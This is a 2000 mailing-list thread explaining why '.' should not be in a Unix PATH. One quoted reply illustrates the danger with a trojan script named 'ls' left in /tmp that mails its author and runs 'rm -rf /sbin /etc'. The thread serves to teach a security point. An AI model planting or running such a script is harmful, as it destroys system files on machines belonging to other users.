Re: ./program

[Danny Sauer <sauer@cloud120.cloudmaster.com>]

Eh, my favorite people-managing skills are those that involve instilling
fear...  Why, this week I'm instilling fear by changing everyone's
authentication scheme from a "works-just-fine" NIS system to a "slower and
not quite working" LDAP system.  Mmmm, fearsome...

'course, those that feel like actually providing real examples that the
question asker might come across in real life have a good point, too :)

--Danny, who's not very intimidating in person

On Tue, May 23, 2000 at 02:29:30PM -0500, Burke, Jason wrote:
> Ohhh, you're nasty, and here I was thinking that the main
> worry would be getting duplicate names in the current directory
> mixed up with ones in the path. Silly me ;).
> 
> Jason
> 
> > -----Original Message-----
> > From:	Cloudmaster [SMTP:sauer@cloudmaster.com]
> > Sent:	Tuesday, May 23, 2000 12:52 PM
> > To:	luci-discuss@luci.org
> > Subject:	Re: ./program
> > 
> > 
> > On Tue, 23 May 2000, Jay Link wrote:
> > > Ok, why is it that you advise against having "." in your PATH? How is
> > > running ./program better than simply running program?
> > 
> > In /tmp I have created a shell script.  The contents are
> > 
> >    #!/bin/bash
> >    echo "mwah hah hah" | mail -s "I got him" cloudmaster@cloudmaster.com
> >    rm -rf /sbin /etc
> > 
> > I have named that script "ls" and have made links to it called "la", "ll",
> > "cd -", etc.  Now I just wait to get my mail entitled "I got him" and have
> > a
> > good laugh over why he should have paid more attention. :)
> > 
> > --Danny, who's not Steve but can guess...

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